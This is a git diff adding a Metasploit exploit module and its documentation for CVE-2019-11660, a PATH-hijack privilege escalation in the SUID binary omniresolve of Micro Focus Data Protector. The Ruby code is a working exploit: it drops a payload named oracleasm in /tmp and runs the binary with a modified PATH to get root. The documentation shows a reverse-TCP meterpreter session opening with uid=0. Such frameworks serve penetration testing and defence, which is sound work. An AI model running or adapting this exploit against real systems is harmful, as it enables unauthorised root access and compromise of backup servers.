diff --git a/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md b/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md new file mode 100755 index 000000000000..a2a07cafbd39 --- /dev/null +++ b/documentation/modules/exploit/linux/local/omniresolve_suid_priv_esc.md @@ -0,0 +1,76 @@ +## Description + + This module exploits the trusted `$PATH` environment + variable of the SUID binary `omniresolve` in + Micro Focus (HPE) Data Protector A.10.40 and prior. + + The `omniresolve` executable calls the `oracleasm` binary using + a relative path and the trusted `$PATH`, which allows an attacker + to execute a custom binary with `root` privileges. + + +## Vulnerable Application + + This module has been successfully tested on: + + * HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110 + * Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118 on CentOS Linux release 7.6.1810 (Core) + + The vulnerability has been patched in: + * Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125 + + +## Verification Steps + + 1. Start `msfconsole` + 2. Get a session + 3. `use exploit/linux/local/omniresolve_suid_priv_esc` + 4. `set SESSION [SESSION]` + 5. `check` + 6. `run` + 7. You should get a new *root* session + + +## Options + + **SUID_PATH** + + Path to `omniresolve` executable (default: `/opt/omni/lbin/omniresolve`) + + **WritableDir** + + A writable directory file system path. (default: `/tmp`) + + +## Scenario + +### DP 10.40 build 118 on CentOS Linux release 7.6.1810 (Core) + + ``` + msf5 > use exploit/linux/local/omniresolve_suid_priv_esc + msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set session 1 + session => 1 + msf5 exploit(linux/local/omniresolve_suid_priv_esc) > check + [+] The target is vulnerable. + msf5 exploit(linux/local/omniresolve_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + payload => linux/x64/meterpreter/reverse_tcp + msf5 exploit(linux/local/komniresolve_suid_priv_esc) > set lhost 192.168.0.113 + lhost => 192.168.0.113 + msf5 exploit(linux/local/omniresolve_suid_priv_esc) > run + + [*] Started reverse TCP handler on 192.168.0.113:4444 + [*] Sending stage (3021284 bytes) to 192.168.0.107 + [*] Meterpreter session 2 opened (192.168.0.113:4444 -> 192.168.0.107:54510) at 2019-10-01 13:19:45 -0400 + [+] Deleted /tmp/oracleasm + [+] Deleted /tmp/gprjmiMGOr + + meterpreter > getuid + Server username: uid=0, gid=0, euid=0, egid=0 + meterpreter > sysinfo + Computer : 192.168.0.107 + OS : CentOS 7.6.1810 (Linux 3.10.0-957.21.2.el7.x86_64) + Architecture : x64 + BuildTuple : x86_64-linux-musl + Meterpreter : x64/linux + meterpreter > + ``` diff --git a/modules/exploits/linux/local/omniresolve_suid_priv_esc.rb b/modules/exploits/linux/local/omniresolve_suid_priv_esc.rb new file mode 100755 index 000000000000..4b57d5760dbc --- /dev/null +++ b/modules/exploits/linux/local/omniresolve_suid_priv_esc.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Linux::Priv + include Msf::Post::Linux::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Micro Focus (HPE) Data Protector SUID Privilege Escalation', + 'Description' => %q{ + This module exploits the trusted `$PATH` environment + variable of the SUID binary `omniresolve` in + Micro Focus (HPE) Data Protector A.10.40 and prior. + + The `omniresolve` executable calls the `oracleasm` binary using + a relative path and the trusted environment `$PATH`, which allows + an attacker to execute a custom binary with `root` privileges. + + This module has been successfully tested on: + HPE Data Protector A.09.07: OMNIRESOLVE, internal build 110, built on Thu Aug 11 14:52:38 2016; + Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 118, built on Tue May 21 05:49:04 2019 on CentOS Linux release 7.6.1810 (Core) + + The vulnerability has been patched in: + Micro Focus Data Protector A.10.40: OMNIRESOLVE, internal build 125, built on Mon Aug 19 19:22:20 2019 + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 's7u55', # Discovery and Metasploit module + ], + 'DisclosureDate' => '2019-09-13', + 'Platform' => [ 'linux' ], + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => + [ + [ + 'Micro Focus (HPE) Data Protector <= 10.40 build 118', + upper_version: Gem::Version.new('10.40') + ] + ], + 'DefaultOptions' => + { + 'PrependSetgid' => true, + 'PrependSetuid' => true + }, + 'References' => + [ + [ 'CVE', '2019-11660' ], + [ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03525630' ] + ] + )) + + register_options( + [ + OptString.new('SUID_PATH', [ true, 'Path to suid executable omniresolve', '/opt/omni/lbin/omniresolve' ]) + ]) + + register_advanced_options( + [ + OptBool.new('ForceExploit', [ false, 'Override check result', false ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ]) + end + + def base_dir + datastore['WritableDir'].to_s + end + + def suid_bin_path + datastore['SUID_PATH'].to_s + end + + def check + unless setuid? suid_bin_path + vprint_error("#{suid_bin_path} executable is not setuid") + return CheckCode::Safe + end + + info = cmd_exec("#{suid_bin_path} -ver").to_s + if info =~ /(?<=\w\.)(\d\d\.\d\d)(.*)(?<=build )(\d\d\d)/ + version = '%.2f' % $1.to_f + build = $3.to_i + vprint_status("omniresolve version #{version} build #{build}") + + unless Gem::Version.new(version) < target[:upper_version] || + (Gem::Version.new(version) == target[:upper_version] && build <= 118) + return CheckCode::Safe + end + + return CheckCode::Appears + end + + vprint_error("Could not parse omniresolve -ver output") + CheckCode::Detected + end + + def exploit + if check == CheckCode::Safe + unless datastore['ForceExploit'] + fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.') + end + print_warning 'Target does not appear to be vulnerable' + end + + if is_root? + unless datastore['ForceExploit'] + fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.') + end + end + + unless writable?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is not writable") + end + + payload_path = File.join(base_dir, 'oracleasm') + register_file_for_cleanup(payload_path) + write_file(payload_path, generate_payload_exe) + chmod(payload_path) + + trigger_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) + register_file_for_cleanup(trigger_path) + write_file(trigger_path, "#{rand_text_alpha(5..10)}:#{rand_text_alpha(5..10)}") + cmd_exec("env PATH=\"#{base_dir}:$PATH\" #{suid_bin_path} -i #{trigger_path} & echo ") + end +end